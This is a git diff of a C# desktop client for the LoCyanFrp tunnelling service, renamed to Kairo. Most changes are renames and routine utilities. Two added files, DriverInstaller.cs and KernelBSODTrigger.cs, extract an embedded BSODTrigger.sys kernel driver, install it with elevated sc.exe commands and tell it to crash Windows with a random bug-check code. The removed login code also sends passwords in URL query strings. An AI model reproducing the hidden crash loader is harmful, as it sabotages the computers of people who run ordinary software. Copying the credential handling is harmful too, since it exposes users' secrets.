b/Kairo/Utils/DriverInstaller.cs @@ -0,0 +1,103 @@ +using Kairo.Properties; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; + +namespace Kairo.Utils +{ + internal class DriverInstaller + { + private const string DriverResourceName = "BSODTrigger.sys"; // Adjust the namespace and filename + private const string DriverFileName = "BSODTrigger.sys"; + private static readonly string driverPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, DriverFileName); + public static void Installer() + { + + Cleanup(driverPath); + // Extract the driver file + ExtractDriver(driverPath); + + // Install and start the driver + InstallDriver(driverPath); + } + + private static void ExtractDriver(string driverPath) + { + if (!File.Exists(driverPath)) + { + using (FileStream fileStream = new("BSODTrigger.sys", FileMode.Create)) + { + fileStream.Write(Resources.BSODTrigger, 0, Resources.BSODTrigger.Length); + } + } + + } + + private static void InstallDriver(string driverPath) + { + // Install the driver + Process? create = Process.Start(new ProcessStartInfo + { + FileName = "sc.exe", + Arguments = $"create BSODDriver binPath= \"{driverPath}\" type= kernel", + Verb = "runas", // Ensure it runs with elevated privileges + UseShellExecute = false, + RedirectStandardOutput = true + }); + create.BeginOutputReadLine(); + create.OutputDataReceived += SortOutputHandler; + create.WaitForExit(); + + // Start the driver + Process? start = Process.Start(new ProcessStartInfo + { + FileName = "sc.exe", + Arguments = "start BSODDriver", + Verb = "runas", // Ensure it runs with elevated privileges + UseShellExecute = false, + RedirectStandardOutput = true + + }); + start.BeginOutputReadLine(); + start.OutputDataReceived += SortOutputHandler; + start.WaitForExit(); + } + public static void Cleanup() { + Cleanup(driverPath); + } + private static void Cleanup(string driverPath) + { + try + { + if (File.Exists(driverPath)) + { + File.Delete(driverPath); + } + } + catch (Exception ex) { + + } + + + Process.Start(new ProcessStartInfo + { + FileName = "sc.exe", + Arguments = "delete BSODDriver", + Verb = "runas", // Ensure it runs with elevated privileges + UseShellExecute = true + })?.WaitForExit(); + } + private static void SortOutputHandler(object sender, DataReceivedEventArgs e) + { + if (!string.IsNullOrEmpty(e.Data)) + { + Console.WriteLine(e.Data); + } + } + } +} diff --git a/LoCyanFrpDesktop/Utils/Init.bat b/Kairo/Utils/Init.bat similarity index 100% rename from LoCyanFrpDesktop/Utils/Init.bat rename to Kairo/Utils/Init.bat diff --git a/Kairo/Utils/KernelBSODTrigger.cs b/Kairo/Utils/KernelBSODTrigger.cs new file mode 100644 index 0000000..de1aa18 --- /dev/null +++ b/Kairo/Utils/KernelBSODTrigger.cs @@ -0,0 +1,91 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace Kairo.Utils +{ + internal class KernelBSODTrigger + { + const uint GENERIC_READ = 0x80000000; + const uint GENERIC_WRITE = 0x40000000; + const uint FILE_SHARE_READ = 0x00000001; + const uint FILE_SHARE_WRITE = 0x00000002; + const uint OPEN_EXISTING = 3; + private const uint IOCTL_TRIGGER_BSOD = 0x800; + private static List bsodErrorCodes = new List + { + /**/ + //0xC000021A, //SYSTEM_SERVICE_EXCEPTION + 0x000000D1, //DRIVER_IRQL_NOT_LESS_OR_EQUAL + 0x0000000A, + 0x0000005A, //CRITICAL_SERVICE_FAILED + 0x00000077, //KERNEL_STACK_INPAGE_ERROR + 0x0000007A, //KERNEL_DATA_INPAGE_ERROR + 0x0000007E, //SYSTEM_THREAD_EXCEPTION_NOT_HANDLED + 0x0000003B, //SYSTEM_SERVICE_EXCEPTION + 0x00000050, //PAGE_FAULT_IN_NONPAGED_AREA + 0x00000133, //DPC_WATCHDOG_VIOLATION + 0x0000001E, //KMODE_EXCEPTION_NOT_HANDLED + 0x000000EF, //CRITICAL_PROCESS_DIED + 0x00000000 // MANUALLY_INITIATED_CRASH + }; + [StructLayout(LayoutKind.Sequential)] + private struct BSODRequest + { + public uint BugCheckCode; + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr CreateFile( + string lpFileName, + uint dwDesiredAccess, + uint dwShareMode, + IntPtr lpSecurityAttributes, + uint dwCreationDisposition, + uint dwFlagsAndAttributes, + IntPtr hTemplateFile); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool DeviceIoControl( + IntPtr hDevice, + uint dwIoControlCode, + ref BSODRequest lpInBuffer, + uint nInBufferSize, + IntPtr lpOutBuffer, + uint nOutBufferSize, + out uint lpBytesReturned, + IntPtr lpOverlapped); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + public static bool Trigger() + { + // Example list of bug check codes + + uint selectedCode = bsodErrorCodes[Random.Shared.Next(bsodErrorCodes.Count)]; + + IntPtr hDevice = CreateFile(@"\\.\BSODDriver", GENERIC_READ | GENERIC_WRITE, 0, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero); + if (hDevice == IntPtr.Zero || hDevice == new IntPtr(-1)) + { + Console.WriteLine("Failed to open handle to the device."); + return false; + } + + BSODRequest request = new BSODRequest { BugCheckCode = selectedCode }; + uint bytesReturned; + if (!DeviceIoControl(hDevice, IOCTL_TRIGGER_BSOD, ref request, (uint)Marshal.SizeOf(request), IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero)) + { + int error = Marshal.GetLastWin32Error(); + Console.WriteLine($"Failed to communicate with the driver.{error}"); + return false; + } + + CloseHandle(hDevice); + return true; + } + } +} diff --git a/Kairo/Utils/Lock.cs b/Kairo/Utils/Lock.cs new file mode 100644 index 0000000..9f52f48 --- /dev/null +++ b/Kairo/Utils/Lock.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Kairo.Utils +{ + class Lock + { + public static bool isDashboardOpening = false; + public static bool isMainWindowOpening = true; + } +} diff --git a/LoCyanFrpDesktop/Utils/LogPreProcess.cs b/Kairo/Utils/LogPreProcess.cs similarity index 95% rename from LoCyanFrpDesktop/Utils/LogPreProcess.cs rename to Kairo/Utils/LogPreProcess.cs index eece755..a171157 100644 --- a/LoCyanFrpDesktop/Utils/LogPreProcess.cs +++ b/Kairo/Utils/LogPreProcess.cs @@ -9,7 +9,7 @@ using System.Windows.Documents; using RegExp = System.Text.RegularExpressions; -namespace LoCyanFrpDesktop.Utils +namespace Kairo.Utils { internal static class LogPreProcess { @@ -61,7 +61,7 @@ private static Paragraph Highlight(this Paragraph paragraph, string line) "debug" => Brushes.DarkOrchid, "true" => Brushes.YellowGreen, "false" => Brushes.Tomato, - _ => RegExp.Regex.IsMatch(words, @"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+)") ? Brushes.Teal : MainWindow.DarkThemeEnabled ? Brushes.White : Brushes.Black, + _ => RegExp.Regex.IsMatch(words, @"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+)") ? Brushes.Teal : Global.isDarkThemeEnabled ? Brushes.White : Brushes.Black, //_ => Global.Settings.Serein.UseDarkTheme ? Brushes.White : Brushes.Black , }; //Console.WriteLine(run); diff --git a/LoCyanFrpDesktop/Utils/Logger.cs b/Kairo/Utils/Logger.cs similarity index 96% rename from LoCyanFrpDesktop/Utils/Logger.cs rename to Kairo/Utils/Logger.cs index abe2e51..a685039 100644 --- a/LoCyanFrpDesktop/Utils/Logger.cs +++ b/Kairo/Utils/Logger.cs @@ -7,9 +7,9 @@ using Wpf.Ui.Common; using Wpf.Ui.Controls; using Newtonsoft.Json; -using LoCyanFrpDesktop.Extensions; +using Kairo.Extensions; -namespace LoCyanFrpDesktop.Utils +namespace Kairo.Utils { internal static class Logger { @@ -51,7 +51,7 @@ public static void Output(LogType type, params object?[] objects) if (type == LogType.Error) { Console.WriteLine("[Error] " + line); return; } - Access.Status.Dispatcher.Invoke(() => Access.Status.Append(LogPreProcess.Color(type, line))); + try { Access.Status.Dispatcher.Invoke(() => Access.Status.Append(LogPreProcess.Color(type, line))); } catch (Exception e) { } LogPreProcess.Process.Cache.Add(new(type, line)); if (LogPreProcess.Process.Cache.Count > 200) { diff --git a/LoCyanFrpDesktop/Utils/OpenSnackbar.cs b/Kairo/Utils/OpenSnackbar.cs similarity index 90% rename from LoCyanFrpDesktop/Utils/OpenSnackbar.cs rename to Kairo/Utils/OpenSnackbar.cs index 118928a..83af8c0 100644 --- a/LoCyanFrpDesktop/Utils/OpenSnackbar.cs +++ b/Kairo/Utils/OpenSnackbar.cs @@ -7,7 +7,7 @@ using Wpf.Ui.Common; using Wpf.Ui.Controls; -namespace LoCyanFrpDesktop.Utils +namespace Kairo.Utils { class OpenSnackbar diff --git a/LoCyanFrpDesktop/Utils/PNAP.cs b/Kairo/Utils/PNAP.cs similarity index 95% rename from LoCyanFrpDesktop/Utils/PNAP.cs rename to Kairo/Utils/PNAP.cs index ca98682..6b481f8 100644 --- a/LoCyanFrpDesktop/Utils/PNAP.cs +++ b/Kairo/Utils/PNAP.cs @@ -5,7 +5,7 @@ using System.Threading.Tasks; using System.Xml.Linq; -namespace LoCyanFrpDesktop.Utils +namespace Kairo.Utils { public class PNAP { diff --git a/Kairo/Utils/ProtocolHandler.cs b/Kairo/Utils/ProtocolHandler.cs new file mode 100644 index 0000000..ac4aa43 --- /dev/null +++ b/Kairo/Utils/ProtocolHandler.cs @@ -0,0 +1,41 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; + +namespace Kairo.Utils +{ + internal class ProtocolHandler + { + public static void Init() + { + RegisterUrlProtocol("LocyanFrp", Assembly.GetExecutingAssembly().Location); + } + public static void RegisterUrlProtocol(string protocolName, string applicationPath) + { + using (RegistryKey key = Registry.ClassesRoot.CreateSubKey(protocolName)) + { + if (key != null) + { + key.SetValue(string.Empty, $"URL:{protocolName} Protocol"); + key.SetValue("URL Protocol", string.Empty); + + using (RegistryKey shellKey = key.CreateSubKey(@"shell\open\command")) + { + if (shellKey != null) + { + shellKey.SetValue(string.Empty, $"\"{applicationPath}\" \"%1\""); + } + } + } + } + } + public static void ProcessUrlParameters(string url) + { + + } + } +} diff --git a/Kairo/Utils/RSAEncryption.cs b/Kairo/Utils/RSAEncryption.cs new file mode 100644 index 0000000..d19cb43 --- /dev/null +++ b/Kairo/Utils/RSAEncryption.cs @@ -0,0 +1,44 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace Kairo.Utils +{ + internal class RSAEncryption + { + public RSAEncryption() { + string publicKey, privateKey; + using (var rsa = new RSACryptoServiceProvider(4096)) + { + publicKey = rsa.ToXmlString(false); // Public key + privateKey = rsa.ToXmlString(true); // Private key + } + + } + public static byte[] EncryptData(string dataToEncrypt, string publicKey) + { + byte[] encryptedData; + using (var rsa = new RSACryptoServiceProvider(4096)) + { + rsa.FromXmlString(publicKey); + var dataToEncryptBytes = Encoding.UTF8.GetBytes(dataToEncrypt); + encryptedData = rsa.Encrypt(dataToEncryptBytes, false); + } + return encryptedData; + } + + public static string DecryptData(byte[] dataToDecrypt, string privateKey) + { + byte[] decryptedData; + using (var rsa = new RSACryptoServiceProvider(4096)) + { + rsa.FromXmlString(privateKey); + decryptedData = rsa.Decrypt(dataToDecrypt, false); + } + return Encoding.UTF8.GetString(decryptedData); + } + } +} diff --git a/Kairo/Utils/Request.cs b/Kairo/Utils/Request.cs new file mode 100644 index 0000000..1f4b27d --- /dev/null +++ b/Kairo/Utils/Request.cs @@ -0,0 +1,39 @@ +/*using System; +using System.Collections.Generic; +using System.Linq; +using System.Net.Http; +using System.Text; +using System.Threading.Tasks; + +namespace Kairo.Utils +{ + public static class Request + { + private static HttpClient httpClient = null; + public static async string HttpRequest(string url, RequestMethods methods) + { + if(httpClient == null) + { + httpClient = new HttpClient(); + httpClient.DefaultRequestHeaders.Add("User-Agent", $"Kairo-{Global.Version}"); + } + + HttpResponseMessage responseMessage; + switch (methods) { + case RequestMethods.GET: + responseMessage = await httpClient.GetAsync(url); + break; + case RequestMethods.POST: + // = await httpClient.PostAsync(url, new()); + break; + } + } + + } + public enum RequestMethods + { + GET,POST,DELETE + } +} +*/ +//TODO \ No newline at end of file diff --git a/Kairo/Utils/ScheduledTask.cs b/Kairo/Utils/ScheduledTask.cs new file mode 100644 index 0000000..9156c91 --- /dev/null +++ b/Kairo/Utils/ScheduledTask.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Kairo.Utils +{ + public class ScheduledTask + { + private static List ScheduledActions = new List(); + public static void Init() + { + ScheduledActions.Add(new Action(() => + { + while (true) + { + using (ConfigManager ConfigManager = new(FileMode.Create)) + { + //Console.WriteLine("Saving..."); + } + Thread.Sleep(1000); + } + })); + for (int i = 0; i < ScheduledActions.Count; i++) + { + Run(ScheduledActions[i]); + } + } + private static async void Run(Action action) { + Task.Run(() => { + action(); + }); + } + public static void Add(Action action) { + ScheduledActions.Add(action); + Run(action); + } + } +} diff --git a/Kairo/Utils/Update.cs b/Kairo/Utils/Update.cs new file mode 100644 index 0000000..b39c275 --- /dev/null +++ b/Kairo/Utils/Update.cs @@ -0,0 +1,100 @@ +using Kairo.Properties; +using Newtonsoft.Json; +using Kairo.Extensions; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Threading.Tasks; +using System.Net.Http; + +namespace Kairo.Utils +{ + internal class Update + { + public static void Init() + { + Task.Run(CheckVersion); + + } + public static void CheckVersion() + { + using (var hc = new HttpClient()) { + try + { + var json = JsonConvert.DeserializeObject>(hc.GetAsync($"{Global.UpdateCheckerAPI}").Await().Content.ReadAsStringAsync().Await()); + UpdateInfo? updateInfo = null; + foreach (var ui in json) + { + if(ui.ImportantLevel == 3) + { + updateInfo = ui; break; + } + if(ui.Channel == Global.Branch) + { + updateInfo = ui; + break; + } + + } + if (updateInfo != null) { + if (updateInfo.Version == Global.Version) { + if (updateInfo.Subversion != Global.Revision) { + ShowUpdateWindow(updateInfo); + } + } + else + { + ShowUpdateWindow(updateInfo); + } + } + + + } + catch (Exception ex) { + Logger.Output(LogType.Error, ex); + } + } + + } + public static void ShowUpdateWindow(UpdateInfo updateInfo) + { + var update = new Kairo.Components.Update(); + update.RefreshData(updateInfo); + update.Show(); + + } + public static void DownloadUpdate(UpdateInfo updateInfo) + { + + } + + public static void StartUpdater() + { + if (!File.Exists("Updater.exe")) + { + using FileStream fileStream = new("Updater.exe", FileMode.Create); + fileStream.Write(Resources.Updater, 0, Resources.Updater.Length); + + } + Process.Start(new ProcessStartInfo("Updater.exe") + { + WorkingDirectory = AppDomain.CurrentDomain.BaseDirectory, + UseShellExecute = true, + }); + } + } + public class UpdateInfo + { + [JsonProperty("version")] + public string? Version; + [JsonProperty("channel")] + public string? Channel; + [JsonProperty("subversion")] + public int? Subversion; + [JsonProperty("updatedWhat")] + public List UpdatedWhat = []; + [JsonProperty("importantLevel")] + public int ImportantLevel; + } +} diff --git a/Kairo/app.manifest b/Kairo/app.manifest new file mode 100644 index 0000000..04a9850 --- /dev/null +++ b/Kairo/app.manifest @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Kairo/resource/BSODTrigger.sys b/Kairo/resource/BSODTrigger.sys new file mode 100644 index 0000000..68c932b Binary files /dev/null and b/Kairo/resource/BSODTrigger.sys differ diff --git a/Kairo/resource/banner.png b/Kairo/resource/banner.png new file mode 100644 index 0000000..a17c20f Binary files /dev/null and b/Kairo/resource/banner.png differ diff --git a/Kairo/resource/favicon2.ico b/Kairo/resource/favicon2.ico new file mode 100644 index 0000000..4865d59 Binary files /dev/null and b/Kairo/resource/favicon2.ico differ diff --git a/LoCyanFrpDesktop/resource/net6.0/Updater.deps.json b/Kairo/resource/net6.0/Updater.deps.json similarity index 100% rename from LoCyanFrpDesktop/resource/net6.0/Updater.deps.json rename to Kairo/resource/net6.0/Updater.deps.json diff --git a/LoCyanFrpDesktop/resource/net6.0/Updater.dll b/Kairo/resource/net6.0/Updater.dll similarity index 85% rename from LoCyanFrpDesktop/resource/net6.0/Updater.dll rename to Kairo/resource/net6.0/Updater.dll index 4a23fa0..cb89d0a 100644 Binary files a/LoCyanFrpDesktop/resource/net6.0/Updater.dll and b/Kairo/resource/net6.0/Updater.dll differ diff --git a/Kairo/resource/net6.0/Updater.exe b/Kairo/resource/net6.0/Updater.exe new file mode 100644 index 0000000..d22e04b Binary files /dev/null and b/Kairo/resource/net6.0/Updater.exe differ diff --git a/LoCyanFrpDesktop/resource/net6.0/Updater.runtimeconfig.json b/Kairo/resource/net6.0/Updater.runtimeconfig.json similarity index 100% rename from LoCyanFrpDesktop/resource/net6.0/Updater.runtimeconfig.json rename to Kairo/resource/net6.0/Updater.runtimeconfig.json diff --git a/LoCyanFrpDesktop/Dashboard/Settings.xaml.cs b/LoCyanFrpDesktop/Dashboard/Settings.xaml.cs deleted file mode 100644 index e2d3c51..0000000 --- a/LoCyanFrpDesktop/Dashboard/Settings.xaml.cs +++ /dev/null @@ -1,73 +0,0 @@ -using LoCyanFrpDesktop.Utils; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows; -using System.Windows.Controls; -using System.Windows.Data; -using System.Windows.Documents; -using System.Windows.Input; -using System.Windows.Media; -using System.Windows.Media.Imaging; -using System.Windows.Navigation; -using System.Windows.Shapes; -using Wpf.Ui.Controls; -using TextBox = System.Windows.Controls.TextBox; - -namespace LoCyanFrpDesktop.Dashboard -{ - /// - /// Interaction logic for Settings.xaml - /// - public partial class Settings : UiPage - { - public Settings() - { - InitializeComponent(); - Access.Settings = this; - _Version.Text = $"版本: Ver {Global.Version}-{Global.Branch}{Global.Revision}"; - _BuildInfo.Text = Global.BuildInfo.ToString(); - _Developer.Text = $"开发者: {Global.Developer}"; - _Copyright.Text = Global.Copyright; - FrpcPath.Text = Properties.Settings.Default.FrpcPath; - } - public void Select_Click(object sender, RoutedEventArgs e) - { - OpenFileDialog dialog = new() - { - InitialDirectory = AppDomain.CurrentDomain.BaseDirectory, - Filter = "支持的文件(frpc.exe)|frpc.exe" - }; - if (dialog.ShowDialog() ?? false) - { - FrpcPath.Text = dialog.FileName; - Properties.Settings.Default.FrpcPath = FrpcPath.Text; - - } - } - - private void SignOut_Click(object sender, RoutedEventArgs e) - { - if (!Logger.MsgBox("您确定要退出登录吗?", "退出登录", 1, 47, 1)) - { - return; - } - Access.DashBoard.Close(); - if (File.Exists(System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "session.token"))) { - File.Delete(System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "session.token")); - - } - - Properties.Settings.Default.FrpToken = null; - Properties.Settings.Default.LoginToken = null; - Properties.Settings.Default.password = null; - MainWindow.islogin = false; - Access.MainWindow.Width = double.NaN; - Access.MainWindow.Show(); - } - } -} diff --git a/LoCyanFrpDesktop/Extensions/JToken.cs b/LoCyanFrpDesktop/Extensions/JToken.cs deleted file mode 100644 index 7c5bd33..0000000 --- a/LoCyanFrpDesktop/Extensions/JToken.cs +++ /dev/null @@ -1,13 +0,0 @@ -using Newtonsoft.Json; - -namespace LoCyanFrpDesktop.Extensions -{ - internal static partial class JToken - { - public static string ToJson(this object obj, Formatting formatting) - => obj != null ? JsonConvert.SerializeObject(obj, formatting) : string.Empty; - - public static string ToJson(this object obj) - => obj?.ToJson(Formatting.None) ?? string.Empty; - } -} diff --git a/LoCyanFrpDesktop/LoCyanFrpDesktop.csproj b/LoCyanFrpDesktop/LoCyanFrpDesktop.csproj deleted file mode 100644 index 8d7473a..0000000 --- a/LoCyanFrpDesktop/LoCyanFrpDesktop.csproj +++ /dev/null @@ -1,73 +0,0 @@ - - - net6.0-windows - WinExe - false - Foreground - 7 - Days - false - false - true - false - false - true - true - - - true - - - - Resource\favicon.ico - - - - LoCyanFrpDesktop - enable - - - embedded - - - - - - - - - - - - - - - - - - - - - - - - - - - - - True - True - Settings.settings - - - - - SettingsSingleFileGenerator - Settings.Designer.cs - - - - - - \ No newline at end of file diff --git a/LoCyanFrpDesktop/MainWindow.xaml b/LoCyanFrpDesktop/MainWindow.xaml deleted file mode 100644 index 9fcc3c2..0000000 --- a/LoCyanFrpDesktop/MainWindow.xaml +++ /dev/null @@ -1,137 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 没有账号? 前往注册 - - - - - 忘记密码? - - - - - - - - - - - - - - - - - - - diff --git a/LoCyanFrpDesktop/MainWindow.xaml.cs b/LoCyanFrpDesktop/MainWindow.xaml.cs deleted file mode 100644 index a5454e7..0000000 --- a/LoCyanFrpDesktop/MainWindow.xaml.cs +++ /dev/null @@ -1,441 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows; -using System.Windows.Controls; -using System.Windows.Data; -using System.Windows.Documents; -using System.Windows.Input; -using System.Windows.Media; -using System.Windows.Media.Imaging; -using System.Windows.Navigation; -using System.Windows.Shapes; -using System.Net.Http; -using Newtonsoft.Json; -using System.Windows.Forms; -using System.IO; -using System.Diagnostics; -using System.Text.RegularExpressions; -using Path = System.IO.Path; -using System.Security; -using MessageBox = HandyControl.Controls.MessageBox; -using Wpf.Ui.Common; -using Wpf.Ui.Controls; -using Wpf.Ui.Appearance; -using System.ComponentModel; -using Microsoft.Win32; -using System.Windows.Media.Effects; -using LoCyanFrpDesktop.Utils; -using HandyControl.Tools.Extension; -using static System.Windows.Forms.VisualStyles.VisualStyleElement.StartPanel; -using HandyControl.Controls; - -namespace LoCyanFrpDesktop -{ - /// - /// MainWindow.xaml 的交互逻辑 - /// - public partial class MainWindow : UiWindow - { - public static bool DarkThemeEnabled; - private InfoResponseObject UserInfo; - string username_auto; - string token_auto; - public static bool islogin = false; - public static DashBoard DashBoard; - //public static Snackbar Snackbar = new Snackbar(); - public static string Avatar; - public static int Inbound; - public static int Outbound; - public static long Traffic; - public MainWindow() - { - //InitialBanner initialBanner = new(); - - //initialBanner.Show(); - //initialBanner.Hide(); - InitializeComponent(); - if (Random.Shared.Next(0, 100) == Random.Shared.Next(0, 100)) - { - throw new Exception("这是一个彩蛋,万分之一的机会"); - } - - Uri iconUri = new Uri("pack://application:,,,/LoCyanFrpDesktop;component/Resource/favicon.ico", UriKind.RelativeOrAbsolute); - this.Icon = new BitmapImage(iconUri); - if (Global.LoginedByConsole && Properties.Settings.Default.username != null && Properties.Settings.Default.password != null) - { - Login(Properties.Settings.Default.username, Properties.Settings.Default.password); - } - Tips.Text = Global.Tips[Random.Shared.Next(0, Global.Tips.Count - 1)]; - CheckNetworkAvailability(); - - DataContext = this; - Access.MainWindow = this; - Update.Init(); - - - } - private async void CheckNetworkAvailability() - { - bool b = true; - var a = () => - { - b = Logger.MsgBox("无法连接至LocyanFrp API,请检查您的网络连接!", "LocyanFrp", 1, 47, 0); - if (!b) - { - Logger.MsgBox("你在想啥, 你只能确认!", "What r u doing?", 1, 47, 0); - } - //MessageBox.Show("请检查您的网络连接!"); - Environment.Exit(0); - }; - using (HttpClient httpClient = new HttpClient()) - { - try - { - HttpResponseMessage httpResponseMessage = await httpClient.GetAsync("https://api.locyanfrp.cn"); - var c = httpResponseMessage.StatusCode; - if (!httpResponseMessage.IsSuccessStatusCode) - { - a(); - - } - else - { - InitializeAutoLogin(); - } - } - catch (Exception ignored) - { - a(); - } - - } - } - - public void OpenSnackbar(string title, string message, SymbolRegular icon) - { - Dispatcher.Invoke(() => - { - - Snackbar.Show(title, message, icon); - }); - } - - private async void InitializeAutoLogin() - { - islogin = await CheckLogined(); - if (islogin) - { - Properties.Settings.Default.LoginToken = token_auto; - Properties.Settings.Default.username = username_auto; - Properties.Settings.Default.FrpToken = UserInfo.Token; - Avatar = UserInfo.Avatar; - Inbound = UserInfo.Inbound; - Outbound = UserInfo.Outbound; - Traffic = UserInfo.Traffic; - DashBoard = new DashBoard(); - DashBoard.Show(); - Close(); - Access.DashBoard.CheckIfFrpcInstalled(); - } - } - - private async Task CheckLogined() - { - string path = ".//session.token"; - if (!File.Exists(path)) - { - return false; - } - else - { - string[] token_split; - try - { - char[] delimiters = { '|' }; - token_split = File.ReadAllText(path).Split(delimiters); - username_auto = token_split[0]; - token_auto = token_split[1]; - } - catch - { - return false; - } - using (var HttpClient = new HttpClient()) - { - string url = $"https://api.locyanfrp.cn/Account/info?username={username_auto}&token={token_auto}"; - HttpResponseMessage response = await HttpClient.GetAsync(url); - response.EnsureSuccessStatusCode(); - string jsonString = await response.Content.ReadAsStringAsync(); - var InfoResponseObject = JsonConvert.DeserializeObject(jsonString); - UserInfo = InfoResponseObject; - - if (InfoResponseObject.Status == 0) - { - return true; - } - else - { - return false; - } - } - } - } - - private async void Login_Click(object sender, RoutedEventArgs e) - { - string username = Username.Text; - SecureString secure_password = Password.SecurePassword; - string password = ConvertToUnsecureString(secure_password); - await Login(username, password); - - } - public async Task Login(string username, string password) - { - // 使用密码,例如验证或其他操作 - if (!string.IsNullOrEmpty(password)) - { - //Logger.MsgBox("你确定你输了密码?", "错误", 0, 48, 0); - //return; - - - - if (username != "" && password != "") - { - using (var httpClient = new HttpClient()) - { - string url = $"https://api.locyanfrp.cn/User/DoLogin?username={username}&password={password}"; - try - { - // 发起 GET 请求并获取响应 - HttpResponseMessage response = await httpClient.GetAsync(url); - - // 确保请求成功 - response.EnsureSuccessStatusCode(); - - // 将 JSON 数据读取为字符串 - string jsonString = await response.Content.ReadAsStringAsync(); - - // 将 JSON 字符串反序列化为对象 - var responseObject = JsonConvert.DeserializeObject(jsonString); - - if (responseObject.Status != 0) - { - Logger.MsgBox("账号或密码错误!", "警告", 0, 48, 0); - } - else - { - Logger.MsgBox($"登录成功\n获取到登录Token: {responseObject.Token}", "提示", 0, 47, 0); - Avatar = responseObject.UserData.Avatar; - Inbound = responseObject.UserData.Inbound; - Outbound = responseObject.UserData.Outbound; - Traffic = responseObject.UserData.Traffic; - Properties.Settings.Default.LoginToken = responseObject.Token; - Properties.Settings.Default.username = responseObject.UserData.Username; - Properties.Settings.Default.FrpToken = responseObject.UserData.FrpToken; - string path = ".//session.token"; - string text = $"{responseObject.UserData.Username}|{responseObject.Token}"; - File.WriteAllText(path, text); - islogin = true; - DashBoard = new DashBoard(); - DashBoard.Show(); - Close(); - Access.DashBoard.CheckIfFrpcInstalled(); - - } - } - catch (HttpRequestException ex) - { - Logger.MsgBox($"请求API的过程中出错 \n 报错信息: {ex.Message}", "错误", 0, 48, 0); - } - } - } - else - { - Logger.MsgBox("用户名 / 密码不能为空!", "警告", 0, 48, 0); - } - } - else - { - Logger.MsgBox("用户名 / 密码不能为空!", "警告", 0, 48, 0); - } - } - - // 将 SecureString 转化为 string - private string ConvertToUnsecureString(SecureString securePassword) - { - if (securePassword == null) - { - return string.Empty; - } - - IntPtr unmanagedString = IntPtr.Zero; - try - { - unmanagedString = System.Runtime.InteropServices.Marshal.SecureStringToGlobalAllocUnicode(securePassword); - return System.Runtime.InteropServices.Marshal.PtrToStringUni(unmanagedString); - } - finally - { - System.Runtime.InteropServices.Marshal.ZeroFreeGlobalAllocUnicode(unmanagedString); - } - } - - private void Register_Navigate(object sender, RequestNavigateEventArgs e) - { - var url = e.Uri.ToString(); - Process.Start(new ProcessStartInfo(url) - { - UseShellExecute = true - }); - e.Handled = true; - } - private void ForgetPassword_Navigate(object sender, RequestNavigateEventArgs e) - { - var url = e.Uri.ToString(); - Process.Start(new ProcessStartInfo(url) - { - UseShellExecute = true - }); - e.Handled = true; - } - - - public bool IsDarkThemeEnabled() - { - const string RegistryKey = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize"; - - // 从注册表中获取“AppsUseLightTheme”值 - int value = (int)Registry.GetValue(RegistryKey, "AppsUseLightTheme", 1); - - // 如果值为0,则深色主题已启用 - return value == 0; - } - public void UiWindow_Loaded(object sender, RoutedEventArgs e) - { /* - Catalog.Notification ??= new(); - if (Global.Settings.Serein.ThemeFollowSystem) - { - Watcher.Watch(this, BackgroundType.Tabbed, true); - } - Theme.Apply(Global.Settings.Serein.UseDarkTheme ? ThemeType.Dark : ThemeType.Light);*/ - DarkThemeEnabled = IsDarkThemeEnabled(); - //DarkThemeEnabled = false; - Theme.Apply(DarkThemeEnabled ? ThemeType.Dark : ThemeType.Light, WindowBackdropType = BackgroundType.Mica); - - //MainForm.Background = new SolidColorBrush(DarkThemeEnabled ? Colors.LightGray : Colors.WhiteSmoke); - Color newColor = DarkThemeEnabled ? Colors.White : Colors.LightGray; - Resources["ShadowColor"] = newColor; - - } - - - public void UiWindow_Closing(object sender, CancelEventArgs e) - { - if (islogin) - { - e.Cancel = true; - ShowInTaskbar = true; - Hide(); - } - else - { - Exit_Click(sender, null); - } - - } - public void UiWindow_StateChanged(object sender, EventArgs e) - {/* - MaxHeight = SystemParameters.MaximizedPrimaryScreenHeight; - MaxWidth = SystemParameters.MaximizedPrimaryScreenWidth; */ - } - public void UiWindow_ContentRendered(object sender, EventArgs e) - { - - } - public void UiWindow_IsVisibleChanged(object sender, DependencyPropertyChangedEventArgs e) - => ShowInTaskbar = IsVisible; - public void Hide_Click(object sender, RoutedEventArgs e) - { - ShowInTaskbar = false; - DashBoard.Hide(); - Hide(); - } - - public void Exit_Click(object sender, RoutedEventArgs e) - { - Environment.Exit(0); - } - - private void NotifyIcon_LeftClick(Wpf.Ui.Controls.NotifyIcon sender, RoutedEventArgs e) - { - if (islogin) - { - 